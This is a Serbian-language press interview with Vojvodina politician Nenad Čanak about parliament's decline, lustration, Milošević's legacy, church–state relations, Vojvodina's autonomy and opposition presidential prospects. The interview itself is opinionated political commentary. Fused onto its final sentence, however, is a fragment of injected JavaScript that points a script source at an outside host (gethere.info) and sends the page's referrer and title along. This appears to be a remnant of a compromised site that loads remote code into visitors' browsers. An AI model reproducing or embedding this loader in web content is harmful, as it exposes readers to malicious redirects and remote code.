INTERVJU, NENAD ČANAK: Opozicija ne može imati zajedničkog kandidata

Čuvanje Skupštine kao institucije uslov je da ova zemlja ne sklizne u otvorenu diktaturu izvršne vlasti. Danas imate situaciju gde se Skupština pretvara u ruglo, gde bi trebalo da, kao što je to uradio kralj Aleksandar šestojanuarskom diktaturom, pojavi neko ko će reći: "Ja neću više da između mene i građana stoje političke stranke, lopovi, lažovi, koje treba razjuriti"

Nenad Čanak, lider Lige socijaldemokrata Vojvodine i narodni poslanik, slojevita je i netipična politička ličnost. Bez dlake na jeziku, direktno i veoma slikovito za Ekspres govori o stanju u Skupštini, ličnostima koje su obeležile poslednjih četvrt veka, o posledicama kulta ličnosti negovanim u komunizmu, o mešanju Crkve u politiku, o autonomaštvu...

Složićete se da se najnovija zbivanja u Skupštini više ne mogu nazvati cirkusom jer cirkus ima organizovane artističke tačke, to više liči na malu palanačku železničku stanicu bez voznog reda. Da li je Vama prijatno tamo?

- Nisam ja tamo da mi bude prijatno nego da zastupam interese onih koji su me tamo poslali. Moja lična prijatnost apsolutno je u trećem planu i ne vredi o njoj ni pričati jer nikome elementarnog kućnog vaspitanja tamo ne može biti ne prijatno, nego ne može da bude uopšte prostor u kome se nalazi bez da oseća duboku nelagodu. Ali to je manje bitno, bitnije je to što taj prostor nije slučajno, po mom dubokom uverenju, doveden u ovakvu situaciju. U pitanju je zao naum koji je posledica ideje dela izvršne vlasti da deplasirajući Skupštinu i dovodeći u pitanje sudske organe praktično napravi jedan puzajući državni udar koji bi građani dočekali sa olakšanjem i oduševljenjem da i te sramote eto više nema.

Zvuči malo paranoično.

- Znam, i to kao priča nekog poklonika teorija zavere, ali najbolji primer za sve to možda je činjenica da kad pogledate tabloide i kada pogledate pisanje o javnim institucijama u proteklih mnogo godina, uvek ćete naći da je Skupština ta koja je na dnevnom redu. Uvek je najvažnije pitanje cena hrane u skupštinskom restoranu, iz čega se vidi da ti zli poslanici, u stvari, idu u Skupštinu da bi jeftino jeli, pa ko je kakvim prevoznim sredstvom došao, iz čega se zaključuje da su ti poslanici, eto, bože moj, korumpirani. Skupština ima direktne prenose i samim tim se onda prikazuju upravo ti najbizarniji detalji i najskandaloznija ponašanja dela narodnih poslanika, a previđa se rušenje autoriteta Narodne skupštine, koje se radi sistematski. Kad kažem sistematski, ne treba zaboraviti da imate ljude koji su predsedavali Skupštinom a nisu znali kako se zove, recimo, predsednik Italije, ljude koji su predsedavali i meni oduzimali reč kad sam upozoravao na rušenje autoriteta Skupštine zato što sam spominjao Hitlera i njegovo delo "Moja borba", u kome on jasno kaže da su poslanici parlamentarne gusenice koji ništa korisno ne rade nego samo između sebe spletkare, a da je Skupština nešto što je potpuno nepotrebno nemačkom narodu i nemačkoj državi, koja pretenduje da bude moćna. Nije to slučajno.

A motivi?

- Motivi su veoma jednostavni. U pitanju je nametanje autoriteta koji bi bili van domašaja demokratske kontrole. Pogledajte, dugi niz godina, koje su institucije u Srbiji s najvišim nivoom poverenja građana. To su tradicionalno Vojska, Crkva i Akademija nauka. Tri institucije nad kojima ne postoji nikakva demokratska kontrola, nad Vojskom bi mogla da postoji, ali je nema. Dakle, u pitanju je uklanjanje građana iz procesa odlučivanja o njihovim sudbinama, pa i preko svojih predstavnika. Čuvanje Skupštine kao institucije uslov je da ova zemlja ne sklizne u otvorenu diktaturu dela izvršne vlasti.

Kad tako govorite, to pomalo liči ne samo na teoriju zavere, već i na insinuaciju koja iza sebe ima neku dublju političku pozadinu i potrebu.

- Postoji duboka potreba da se o tome govori jer ako se ne budu branile institucije, preći će se na vaninstitucionalno, omiljeni slogan Slobodana Miloševića: "Institucionalno ili vaninstitucionalno, mi ćemo naš cilj ostvariti." To je njegova čuvena izjava.

Ali ko treba da zaštiti to o čemu pričate kad vi sami među sobom, kao deo te institucije, niste u stanju? Ne može izvršna vlast da obezbedi autoritet.

- U velikoj meri je Skupština od 1990. godine, kad je obnovljeno višestranačje, bila govornica ili drugim rečima platforma sa koje su iznošeni stavovi i dobijana politička prisutnost i legitimitet političkih stavova. Upravo takvim pristupom gde je Skupština bila zamena za prigušene, da ne upotrebim neku težu reč, medije u Srbiji i dovela je do njene tabloizacije, da tako kažem. Imate situaciju danas da je zaista veoma skroman medijski prostor u koji se može uopšte ući s političkim idejama. Od '90. godine, u godinama koje su sledile, imali ste niz političkih tok-šou emisija u kojima su se mogla sukobiti mišljenja, izneti nešto iz političkog programa. Kako je vreme proticalo, a naročito posle 5. oktobra 2000, političke emisije potpuno su nestale i praktično nemate nijednu za sučeljavanja političkih ideja, već samo na dnevnopolitičke teme. Nemate gde da progovorite već dugi niz godina.

Mislite da u tome leže razlozi ovakve šarade?

- Između ostalog. Došlo se do toga da poslanici u Parlamentu, tvrdeći da im predsedavajuća ne da reč, mašu transparentima s likovima iz crtanih filmova i kojekakvim parolama. S druge strane, na Administrativnom odboru smo pre nekoliko dana imali situaciju da predsedavajući Aleksandar Martinović, bukvalno kršeći sva pravila parlamentarizma, ne da reč nijednom poslaniku opozicije koji je bio prisutan, ni po Poslovniku ni po tački dnevnog reda. Iščita sinopsis, zaključi sednicu i proglasi je legitimnom, što je potpuno nemoguće, samim tim odluke na toj sednici ne mogu biti validne. Međutim, nema zaštite od svega toga. A o povredi Poslovnika glasa Skupština u plenarnom sazivu, gde će većina po stranačkom nalogu glasati da nije bilo povrede, pa imate urušavanje Skupštine. Ljudi često izvršnu vlast upoređuju s Vladom, a ja ne govorim o Vladi već o nepromenljivom delu, o nereformisanim bezbednosnim strukturama, o neotvorenim dosijeima, o odsustvu lustracije o svemu tome za šta je bilo prerano, dok nismo došli do toga da je prekasno. Danas imate situaciju gde se bukvalno Skupština pretvara u ruglo, gde bi građani trebalo da, kao što je to uradio kralj Aleksandar šestojanuarskom diktaturom i obznanom, pojavi neko ko će reći: "Ja neću više da između mene i građana stoje političke stranke, koje su lopovi, lažovi, korumpirana družina koju treba razjuriti"... I naići će se na ogromno odobravanje onih koji Skupštinu cene na osnovu postupaka nekoliko bukača i šarlatana.

Pri čemu sad nemamo kralja Aleksandra.

- Pa još nije kralj!

Pokrenuli ste, ili ste pobornik, priče o lustraciji. Zar ne mislite da je kasno, da je prilika za lustraciju propuštena još 2000. godine?

- Lično sam se zalagao oktobra 2000. da se hitno zabrani političko delovanje SPS-u, SRS-u, Stranci srpskog jedinstva i Jugoslovenskoj levici. Tada mi je Zoran Đinđić rekao, to je bilo na predstavništvu DOS-a odmah posle 5. oktobra: "Hajde, molim te, Nenade, ne možeš praviti demokratiju zabranjivanjem stranaka", što ima određeni teoretski značaj. Ali u nizu istočnoevropskih zemalja, prelaskom u druge sisteme funkcionisanja, višestranačje, zabranjivane su do tada vladajuće komunističke partije, u Nemačkoj je posle Drugog svetskog rata zabranjena Nacionalna socijalistička radnička nemačka partija zato što bi strukture koje su napravili i stekli gušeći slobode svih ostalih, nastavile da postoje ukoliko se ne bi demontirale. To nije učinjeno.

Nije tako daleka paralela između nacista i Miloševićeve Srbije i likvidacije političkih neistomišljenika. Da su živi, Ivan Stambolić ili Slavko Ćuruvija mogli bi o tome nešto da kažu

I šta su, po Vašem mišljenju, posledice?

- U roku od samo nekoliko godina imali smo veliki povratak SPS-a, koji je zadržao sve svoje strukture i imovinu SK i SSRN-a, čijim je spajanjem nastao SPS. Praktično su pokupili imovinu ogromnog broja građana koji su plaćali članarine i na druge načine finansirali u vreme jednopartijskog sistema te dve organizacije. To nije urađeno. Srpska radikalna stranka, kao večito strašilo i gvozdena metla kojom je Milošević metlao svoje političke neistomišljenike, uvek je bila stranka s lažnom ličnom kartom dok nije podivljala, kako to obično biva, i pretvorila se u samostalnu silu koja kreće da sprovodi svoju logiku programa krvi i tla. Sve to je trebalo da se zabrani i lustrira. U stranke su se uvukli direktni eksponenti onih koji su se suprotstavljali reformama i lustraciji, koji su se suprotstavljali bilo kakvim promenama u bezbednosnim strukturama, koje nisu menjane još od Drugog svetskog rata.

Koliko je to uopšte realno 16 godina posle?

- Mislim da bi vam daleko bolji sagovornik od mene za to što sada govorite bio Simon Vizental, pošto se fondacija "Simon Vizental" 71 godinu posle završetka Drugog svetskog rata bavi pronalaženjem nacista koji su izbegli ruku pravde.

Ali to su nacisti, da ne odemo predaleko, gruba je paralela.

- Možda izgleda grubo, ali pogledajte koncepciju funkcionisanja nacionalnog socijalizma u Srbiji kakav je postojao za vreme Slobodana Miloševića. Nemojte zaboraviti kako je nastao nacionalni socijalizam u Srbiji, zamenom komunističke ideologije u samoupravnom socijalizmu nacionalističkom. Na socijalističku strukturu totalne kontrole svih društvenih tokova samo je nakalemljena nacionalistička ideologija i dobijen sui generis nacionalsocijalizam i taj nacionalsocijalistički koncept. O čemu sam čitao u "Filozofiji palanke" besmrtnog Radomira Konstantinovića u poglavlju "Nacizam u Srbiji", što nije nikakva štamparska greška. Danas toga uveliko izbegavaju da se sete oni kojima to ne odgovara. Nacionalsocijalizam u Srbiji sigurno nije po svojim dometima napravio štete kao onaj u Nemačkoj, ali po broju prognanih, po broju zagađenosti političkog prostora ideologijama, čak izmenom vokabulara koju je, recimo, Viktor Klemperer u svojoj čuvenoj knjizi "Jezik Trećega rajha" potanko objašnjavao, a gde postoje praktično sve paralele sa jezikom Miloševićeve Srbije, koji je dan-danas dominantan kao način opštenja i komuniciranja preko medija, dobijate jednu suštinsku paralelu koja bode oči. Jer cela stvar bila je u nedodirljivosti, u tome da je to natpolitička struktura gde Milošević sam po sebi nikad ne bi pao da nije došlo do toga da izgubi pet ratova, i protiv sebe okrene i one koji su bili protiv da se ratovi vode i one koji su bili nesrećni što je te ratove izgubio.

Na šta konkretno mislite?

- Nije tako daleka paralela između nacista i Miloševićeve Srbije i likvidacije političkih neistomišljenika. Da su živi, Ivan Stambolić ili Slavko Ćuruvija mogli bi o tome nešto da kažu. Da ne spominjem likvidacije onih koji su doživljavani kao opasni za sistem od ubistava finansijera opozicije pa nadalje. Stvorena je atmosfera koja do dana današnjeg nije popravljena, stvorena je atmosfera koje se odlično sećam. Način na koji je imovina oduzimana nižoj rasi u nacističkoj Nemačkoj veoma je sličan nekim događajima u Srbiji. Niko neće da se seti porodice Barbalić i njihovog stana u koji su se uselili časnici SRS-a, pa je taj stan, evo ovih dana, i uknjižen na članstvo SRS-a, čime je stavljena sramna tačka na taj proces. Imali ste situaciju da su ljudi morali da pišu po kućama koja je srpska da ih ne bi izbacivale paravojne jedinice i useljavale kome se ko svidi. A zaboravlja se da su te paravojne jedinice bile čista laž.

Bilo je teško tada ih razgraničiti.

- S tim što u Srbiji devedesetih nije postojala nijedna paravojna jedinica, sve su to bile grupe koje su bile praktično država s lažnom ličnom kartom. Od Šešeljevih junačina koje su se skoro goloruke, samo s kamom u rukama, herojski suprotstavljale ženama, deci i vezanima, pa preko dobrovoljaca koje smo mi u ratu zvali "soni brigade" pošto su se bavili uglavnom pljačkom bele tehnike, do Arkanovih dobrovoljaca, koji su imali svi kriminalne dosijee i bili vezani za Službu državne bezbednosti. Pa nije li glavni plakat koji je lepljen po gradovima u Srbiji bio Željko Ražnatović a pored njega Badža Stojčić, u to vreme komandant javne bezbednosti Srbije. Kako su njih dvojica na istom plakatu ako nisu deo istog projekata, iste države? Pa ko je dao Šešelju kasarnu u Bubanj potoku ako ne država, da u njoj skuplja oružje i regrutuje dobrovoljce? Znači, nije bilo paravojske. Sad mi recite kakva je razlika između toga i šucštafela, telesne Hitlerove garde koja se pretvorila u zloglasne SS jedinice?

Ipak, ne vidim nijedan pravni put da se ostvari bilo kakvo pročišćenje po tom osnovu o kom pričate moralnom, ličnom, krivičnom...

- Prva stvar je ne dozvoliti da se od toga odustane i zaboravi jer to vuče jedno drugo. Zaborav vuče odustajanje, a odustajanje tera u zaborav. Zato smo mi ponovo izašli s Predlogom zakona o lustraciji, koji će verovatno biti odbijen. Ali bitno je da postoji, da uđe u zapisnik, i to će ostati zauvek u arhivama, da se neko borio za to što je beskonačno važno za zdravlje ove zemlje. Nije se prošao proces odvikavanja, detoksikacije, vraćanja u zdrav razum.

Gde je u svemu tome Vojvodina?

- U jeziku Miloševićeve Srbije Autonomna pokrajina Vojvodina bukvalno je svedena na toponim - severna Srpska pokrajina. Geografsku odrednicu gde se nešto nalazi i političku definiciju njenog statusa, srpsko ne znači u Miloševićevom jeziku ništa što ima veze sa Srbijom ili Srbima, nego srpsko koje je u skladu s Miloševićevom politikom.

Neretko ste u tu mašineriju uvrštavali i Crkvu.

- Crkva, po definiciji, ne bi smela da se bavi politikom, kao što nije do stranaka da se bave rađanjem, sahranjivanjem i bogosluženjima, ali nažalost, u ovoj zemlji je sve to u velikoj meri povezano. Imate bizarnu situaciju da je Srbija zemlja u čijem Ustavu piše da je sekularna, a istovremeno imate sveštenike kao aktivna lica u Vojsci. Srbija je zemlja koja je formalno sekularna, a MUP ima krsnu slavu. Kako može u sekularnoj državi da porodični praznik jedne konfesije postane praznik arhetipa državnog organa, jer od policije nema ničeg državnijeg? Svako javno preduzeće ima neku svoju slavu, gradovi su počeli da imaju svoje slave. Time se u ogromnoj meri poništava i multikulturalnost, multinacionalnost i, u krajnjoj liniji, vređaju ljudi koji su agnostici i ateisti. Svako malo čujete da je neko iz državnog vrha bio na konsultacijama s patrijarhom. Može se otići privatno, uvažiti u nekim protokolarnim trenucima, ali da se ide na konsultacije potpuno je suludo. Zašto se onda ne ide kod predstavnika svih verskih zajednica? Tako nakrivo krojena država nastala je kao ostatak, restl neuspelog projekta "velike Srbije", koji je Milošević pokušao da ostvari kad mu već nije uspela ideja preuzimanja Jugoslavije.

Otkud zabluda da je Milošević hteo da uništi Jugoslaviju?

- To nije tačno. On je hteo da je preuzme, pa kad nije uspeo, onda je mislio da raskrajke pusti njihovim putem, na prvom mestu Sloveniju. Mislio je da će, pustivši Sloveniju i time narušivši spoljne granice Jugoslavije, unutrašnje granice učiniti nevažnima, pa da redefinicijom unutrašnjih granica između republika ostvari ono što je Šešelj nazivao skraćena Jugoslavija, a u duši svih nas velikih Srba to bi bila velika Srbija. Šešelj je time veoma tačno davao definiciju tog poimanja Jugoslavije kao velike Srbije sa lažnom ličnom kartom. To je suština Miloševićeve politike. Tako se sve raspalo, pa su od osam jedinica bivše SFRJ, sedam postale države...

Koje u nizu sukobljavanja još uvek nisu same sa sobom. Nešto očito nije dovršeno.

- Moram se ponovo vratiti na početak razgovora. Nije urađena lustracija, nije urađen završni račun Jugoslavije. Ne treba zaboraviti jednu veoma bitnu stvar, svi ratovi u istoriji počeli su time što se neko od nekoga brani i niko neće reći da je nekoga napao, svi su nešto branili. Kao što je Slobodan Milošević tvrdio da nikog ne napada nego Srbija pomaže da se Srbi brane, a istovremeno je Franjo Tuđman kao predsednik Hrvatske u to vreme tvrdio da Hrvatska nikoga ne napada nego samo brani svoju teritoriju. Od teritorije su ostala zgarišta, a od naroda koji je Milošević branio ostala su groblja. Kad pogledate malo bolje, videćete da su sada priče o hrvatskim braniteljima, što je veoma indikativan naziv, glavna priča koja se vodi u Hrvatskoj vrlo lukrativna za dnevnu politiku, do te mere da svako, koliko god bio desno ili levo orijentisan, uvek misli da ako još malo posoli neophodnom količinom uobičajene ksenofobije i nekakvog otpora prema istočnom susedu da će mu politika bolje nići, previđajući da od zla semena ništa dobro izrasti ne može. I zato je ova bizarna priča sa čokoladicama u Dubrovniku za mene verovatno najbolja moguća paradigma odnosa na Balkanu. Kako to da se niko nije setio da skine omot sa čokoladice i da pita: "Odakle je ova čokolada?" Predsednik susedne države izvinjava se svojim građanima zbog omota čokolade, a ne izvinjava se za to što deca, ako im se ne pokloni čokolada, neće je ni videti. Uostalom, nauka je odavno dokazala da je razlika između Srba i Hrvata mnogo manja nego razlika između Srba i Srpkinja, da bi se videlo do koje mere je to izmišljena dilema.

Predsednica Parlamenta Maja Gojković je veoma obrazovana i veoma urbana osoba sa značajnim poznavanjem pop i rok kulture i to ozbiljan poznavalac, nema šale oko toga. Kad sam nju video pored Šešelja pre 25 godina, nisam mogao očima da verujem. Kakve veze ima ona sa Šešeljem? Otprilike nimalo

Ono što je utisak iz ovog poslednjeg talasa skupštinskih zbivanja - nekako se ističu ljudi iz Vojvodine. Nije li to neobično, ima li neku autentičnu pozadinu ili je to samo koincidencija?

- Nije koincidencija iz razloga što ne treba zaboraviti da je Vojvodina deo Republike Srbije koji ima drugačiju istoriju od ostatka Republike Srbije, gde i ostatak, geografska Srbija, da je tako nazovem, jer je "uža Srbija" takođe jedan od nasleđenih imena iz one države, koju se ja trudim da izbegavam bežeći od stereotipa. Vojvodina ima nešto drugačiju istoriju od ostatka Srbije i zbog toga u njoj postoji nekoliko stvari koje ljudi van Vojvodine ne razumeju. Prvo, priča o tolerantnim Vojvođanima koji jedu slanine i piju špricere, sviraju im tamburaši i niko ne bi da se svađa potpuno je jedna stereotipna koještarija jer je Vojvodina bila vojna krajina. Iz svega toga imate ostatke gde se stalno zaboravlja da se, recimo, svaki drugi konjički klub u Vojvodini zove "Graničar", gde je Zemunska garda bila garda sastavljena od Srba vojnika koji su stajali na granici prema Beogradu, gde je lala, što je postao kolokvijalni naziv za sve Srbe u Banatu, u stvari bila vojna oznaka srpskih jedinica kojom su se razlikovali od drugih u Austrijskoj carevini. Sve u svemu, imate kod Srba starosedelaca u Vojvodini jedan jak nacionalni naboj, neću ga nazvati nacionalistički, kojim su morali da zaštite svoj identitet pred ugarizacijom, germanizacijom. Taj jak nacionalni naboj poznavao se uvek po tome što ste morali da u srpskim kućama poštujete tri stvari: jezik, veru i kralja. Zato u Vojvodini, u starosedelačkim porodicama, imate ozbiljno uporište rojalizma, koliko god on danas bio anahron. To je, recimo, stvar koja se previđa. Previđa se da su etničke promene stanovništva u Vojvodini bile veoma česte i da svakih 50 godina Vojvodina više nije bila ono što je bila pre toga.

Može i se to nazvati i traganjem za identitetom?

- Naravno, a traganje za identitetom vodi u jedan tip ekstremizma. Podsetiću, svi građani pripadnici neke nacije uvek su radikalniji kada su u dijaspori nego u svojoj matici. Evo, Kosta Čavoški je jedan primer, a ima ih niz koji prosto ne mogu dovoljno da se nasrbuju i koji su mnogo ostrašćeniji Srbi nego što ima ijedan racionalni razlog. Zbog toga ljudi koji se zalažu za svoje ideje koje nisu nacionalne, recimo da su građanske ili regionalističke, moraju da odgovore istim ili barem približnim intenzitetom iskaza. Ko god bi u Čačku ili u Kraljevu napisao grafit "Ovo je Srbija", odmah bi bio hospitalizovan jer što bi to radio. Ali kad se to napiše u Vojvodini, to je već politički proglas. I tu leži priča zašto imate takav odnos snaga. Recimo, predsednica Parlamenta Maja Gojković je veoma obrazovana i veoma urbana osoba sa značajnim poznavanjem pop i rok kulture i to ozbiljan poznavalac, nema šale oko toga. Kad sam nju video pored Šešelja pre 25 godina, nisam mogao očima da verujem. Kakve veze ima ona sa Šešeljem? Otprilike nimalo. Onda sam shvatio da pošto je njena porodica došla iz geografske Srbije, a imala je neke veze sa ne znam kakvim pokretima Drugog svetskog rata, to je bila inicijalna kapisla da se ona priključi Šešelju. Posle je ona menjala stranke i tako dalje... Nije ona postala zbog toga manje elokventna ili manje politički talentovana. Ona je, nemojte zaboraviti, bila direktno izabrani gradonačelnik, jedini direktno izabrani gradonačelnik Novog Sada. Odmah posle toga ukinuto je direktno biranje gradonačelnika. Ona vam je primer te potrebe, s jedne strane, jakog nacionalnog definisanja, a s druge strane, samim tim samodefinisanjem nacionalnog ulazi u konflikt sa sopstvenom urbanošću i multikulturalnošću, u kojoj se ona kao osoba konstituisala. To je nesporazum koji tu tinja i, naravno, da danas, da kažem uličnim rečnikom, ako su sve pare i sva vlast u Beogradu, onda je potpuno jasno da ko dobro živi sa "ovima iz Beograda", može da računa na razne sinekure, s jedne strane, a s druge strane, može da računa da neće stići u zatvor za ono što je napravio. Tu mislim na, recimo, Marjana Rističevića i slične egzemplare izgubljenih karika u evoluciji primata. Potpuno je jasno da će se pojavljivali te apologete koji će se truditi da se nekako pribiju uz vlast.

Jeste li Vi nekada poželeli da budete gradonačelnik Novog Sada s obzirom na to da Vam je i otac bio?

- Odrastao sam u porodici u kojoj su ljudi bili politički angažovani, ali u mojoj porodici, pošto su moji roditelji bili profesori univerziteta, taj politički angažman shvatao se kao tip obaveznog dela života. To nije bilo pitanje da li hoćeš ili nećeš da se baviš politikom, nego bavljenje zajedničkim poslovima koje je obaveza svakoga intelektualca i svakoga ko ima malo višu svest o svojoj odgovornosti za zajednicu. Ja se nikada nisam trkao sa mojim mrtvim ocem, to je pogrešno raditi. On je bio gradonačelnik Novog Sada u jednom momentu, ali bio je i član Predsedništva Vojvodine dva mandata i on je umro na funkciji člana Predsedništva dok ga je Vojvodina imala. Kandidovao sam se jednom zato što je bilo potrebno podizanje popularnosti same liste na gradskom nivou, ali da mi je to neka velika želja bila, da bih ja tu nešto gradonačelnikovao u Novom Sadu, apsolutno ne. Zato što u Novom Sadu treba da rade ljudi koji imaju veću orijentisanost na komunalne probleme. Moj otac postao je gradonačelnik 10 godina pošto smo se mi doselili u Novi Sad. Kad je umro, ja sam sređujući njegove papire pronašao jedan govor koji je držao povodom dana grada, gde je pisalo, između ostalog, da je Novi Sad, po njegovim rečima, "najveći grad na svetu zato što uspeva da sve nas koji smo u njega koliko juče došli upregne zlatnim nitima da vučemo njegova kola u njegovu veću slavu". To je poenta s Novim Sadom, zato ta priča o gradonačelniku nije ono što mene interesuje.

Da li je moguće da se desi surogat DOS-a, da ozbiljni ljudi, koliko god da su stranke neozbiljne, mogli da se dogovore o zajedničkom kandidat za predsedničke izbore?

- Ne verujem u zajedničkog kandidata.

Koje su prepreke po Vašem mišljenju?

- Na prvom mestu nepomirljive političke razlike. Lične surenjivosti nekako bi se mogle i ispeglati. Nemojte zaboraviti da je u vreme DOS-a bilo strašnih ličnih nesporazuma.

Koštunica sasvim sigurno nije bio nikakva ličnost, on je bio projekat Zorana Đinđića, koji je rekao: "Nama treba neko s kim niko u Srbiji ne bi menjao cipele." A kad smo ga upozoravali, naročito pokojni Vladan Batić, da to neće na dobro da izađe, on je rekao: "Ma ajde, molim te, on nema ni pare ni stranku"

Mržnje?

- Kako neće biti mržnje kad su vam za istim stolom sedeli ljudi koji su do juče bili generali Miloševićeve vojske, a onda najedanput smo svi za istim stolom, borimo se za demokratsku Srbiju. To je bilo teško progutati. Miloševićev gradonačelnik najedanput je član DOS-a, kao i svi mi koji smo bili s druge strane. Mislim da ovoga trenutka ne postoji ličnost oko koje bi se moglo nešto tako raditi jer Koštunica sasvim sigurno nije bio nikakva ličnost, on je bio projekat Zorana Đinđića, koji je rekao: "Nama treba neko s kim niko u Srbiji ne bi menjao cipele." A kad smo ga upozoravali, naročito pokojni Vladan Batić, da to neće na dobro da izađe, on je rekao: "Ma ajde, molim te, on nema ni pare ni stranku", na šta mu je Batić odgovorio: "Pazi, čim dođe na vlast, imaće i pare i stranku." I bi tako. Sve u svemu, nema tu prostora za tako nešto. Mislim da će prvi krug predsedničkih izbora biti veoma šarolik što se tiče kandidata koji će izaći. Sad se sve dodatno komplikuje pitanjem kakvih će još izbora biti jer je iskustvo pokazalo da stranka koja nema predsedničkog kandidata ima veoma male šanse kad su u pitanju parlamentarni izbori. Ako bi, recimo, DS podržao nekog kandidata koji nije iz DS-a, oni bi došli u poziciju da taj kandidat sutradan, bez obzira na to kakav rezultat postigne, napravi svoju stranku i preuzme ili ceo DS ili njegov najveći deo. Što, naravno, rukovodstvo DS-a nije naivno da ne vidi. I to vam važi za niz drugih stranaka. Sva ta cenkanja ko bi tu mogao da bude ili ne u stvari je zauzimanje pregovaračke pozicije, i to je normalan, ne lep, ne moralan, deo političkog života u svakoj zemlji.

I šta ostaje od opozicije?

- Loše je to što će poverenje u postojeću opoziciju biti dodatno uzdrmano jer će se takav partikularizam u interesima, kakav pokazuju praktično sve stranke, od strane biračkog tela biti protumačen kao sebičluk i nevođenje računa o širem interesu i biće kažnjen na izborima, što će dovesti do jačeg rezultata aktuelne stranke. I to je cela priča.

Liči na zatvoren krug.

- Predstoji nam veoma komplikovana situacija, tim pre što uvek kada stranke rastu ovom brzinom kojom je porastao SNS, on povuče, uličnim jezikom da kažem, i mulj, a kad povuče taj mulj, onda počne da se iza tih ljudi koji su zaista aktivni i zaista nešto rade pojavljuju ljudi koji to shvataju kao privatni biznis i šansu da nešto tu oposle za sebe. Kao što ste imali situaciju '90-ih, kad neko kaže: "Rekao drug Sloba" ili, još gore, "drugarica Mira". Ko je lud da stvarno pita Miloševića da li je on to stvarno rekao ili drugaricu Miru. To je klasičan način manipulacije i zato danas imate gomilu kriminalaca i siledžija po Vojvodini. Znam ih poimence. Ko su u geografskoj Srbiji, ispod Save i Dunava, ne znam, ali ne sumnjam da postoje oni koji se besramno pozivaju na predsednika Vlade Aleksandra Vučića i članove njegove porodice. I, naravno, pošto niko ne sme da pita Vučića: "Izvinite, jeste li Vi stvarno dali tom i tom pravo da se tako i tako ponaša", onda to koriste za lov u mutnom, a ne postoje partijski mehanizmi koji bi takve stvari kočili. I to će onda izazvati ogroman gnev građana, kao što već izaziva, gde će reakcija na sve to biti: "E, dajte sad nekog oštrijeg ko će tu da udari šakom o sto." Problem je što između stola i šake budu i glave onih koji su za takvo rešenje.

Vaša pozicija po popularnosati u IPSOS-u sa osam odsto je peto mesto, da li je to na vidiku mogućnost da budete među onima koji će da uđu u takmičenje?

- Prvi put sam čuo da sam se uopšte pojavio kad je to objavljeno u medijima. Ne znam ništa o tome...

Na kladionici Vas nema, ali po IPSOS-ovom istraživanju Vas ima.

- Neku veliku želju da ulazim u tu trku nemam. Naravno, odavno sam naučio da moja želja manje-više ne znači ništa kad su u pitanju takve stvari. Nisam razmišljao o tome, ali mi ćemo uskoro imati kongres stranke, to će biti prilika da razgovaramo o svemu, a valjda će se i videti da li će se pojaviti neki kandidat s kojim bismo mogli da delimo vrednosti u dovoljnoj meri da stanemo iza njega. Pa ako se pojavi, dobro jest', ako ne, onda ćemo da vidimo šta ćemo.

Uvek me je, u onom više pežorativnom smislu, iritirala priča o autonomašima. Voleo bih da čujem od Vas jer ste prava adresa, autentično objašnjenje koje može da razgraniči zdrav od nezdravog dela tog pojma.

- Pa cela je priča u tome da je pojam "autonomaš" izmišljen van Vojvodine, u Vojvodini apsolutno niko nikada nikog nije nazivao autonomašem, ne postoji uopšte u jeziku kao termin. Izmišljeno je, to su mi pričali stari vojvođanski komunisti, da su njih tako nazivali iz SK Srbije. O čemu se radi? Vojvodina je imala svoju autonomiju na ovaj ili onaj način uređenu od 1848. godine, i praktično godinama, sad već i vekovima, taj osećaj samouprave i nekakvog pripadanja određenom kulturološkom, civilizacijskom miljeu srednje Evrope prisutan je u Vojvodini i u tu nema nema neke velike tajne. Slobodan Milošević i njegova propaganda su krajem osamdesetih godina krenuli da intenziviraju tu priču o autonomašima jer Miloševićev režim je i počivao na tim maglovitim floskulama "srpski narod", gde je odjedanput srpski narod neko nadbiće čiji smo svi mi Srbi atomi, molekuli, ćelije, čiji je mozak Akademija nauka, moral je Crkva, štit je Vojska, a mač Udba. To je otprilike viđenje srpskog naroda po tom konceptu. Morala je da se pravi nacionalna distinkcija, znači Hrvati su s jedne strane, a mi Srbi smo s druge, muslimani su s jedne strane, a mi Srbi smo s druge, Slovenci su "bečki konjušari", a mi Srbi smo slobodoljubivi i tako dalje. E sad, šta ćemo sa Srbima u Vojvodini? Nemojte zaboraviti, svi najistaknutiji "autonomaši" su etnički Srbi i onda je trebalo izmisliti jednu paranacionalnu kategoriju za taj tip srpskih izroda. A zašto izrod? Zato što ne pristaje na srpstvo po profesiji ili na srpstvo kao politički koncept, a to su dva iskaza srpstva iz vremena Slobodana Miloševića. Dakle, ko ne pristaje na to nego misli da bi ipak ljudi u Vojvodini mogli možda ponešto da zarade da, ponešto, malo odlučuju i šta će se desiti sa tim parama koje se tu zarade. I da malo bolje vide izbliza kako to izgleda i šta treba činiti da bi bila "mirna Bačka", od onih koji su se tu pojavili samo da se začude. Imao sam priliku da vidim jednog od vrhunskih funkcionera svog vremena kad je došao u Vojvodinu i otkrio da postoje šokci. On je bio šokiran, nije znao da tako nešto postoji. Stvari koje su nama deo svakodnevice. Ne razumeju zašto su višejezičnost i multikulturalnost važni u Vojvodini, ne za manjine nego za većinu jer takav odnos drži većinu u sposobnosti opštenja sa drugačijima. To je ono što Vojvodinu čini posebnom, a ne prebrojavanje krvnih zrnaca. E zato je izmišljena ta priča o autonomašima. U Vojvodini nikada nije postojao separatistički pokret, nikad. Nikad nije postojala nijedna ideja da se Vojvodina na bilo koji način odvoji od Srbije. Ali bilo je idealno promovisati tu ideju zato da bi se time anulirali svi argumenti o ekonomskoj praksi jer ti čim kažeš: "Gde su naše pare?", odgovor je: "Tako su i Slovenci počeli, pa su se otcepili." Tako i dalje ne znači da znamo gde su pare. Tako i dalje ne znači da je u redu to što su te pare centralizovane u vreme Slobodana Miloševića. To je spadalo u jednu od retkih stvari koju je Milošević, po njihovom mišljenju, dobro uradio. I upravo zbog toga je to isključivo etiketa kojom se prikriva suština pitanja i kojom se završava razgovor i pre nego što je počeo. A ko beži od razgovora, taj jednostavno vodi proces ka svađi. Međutim, to je kratkovida logika, a ja sam uveren da će vreme pokazati da samo Srbija koja se suoči sama sa sobom i ne zatvara oči pred problemima nego im ide u susret može biti zemlja u kojoj će se jesti čokolade iz celog sveta ne gledajući na omot.s.src='http://gethere.info/kt/?264dpr&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + '';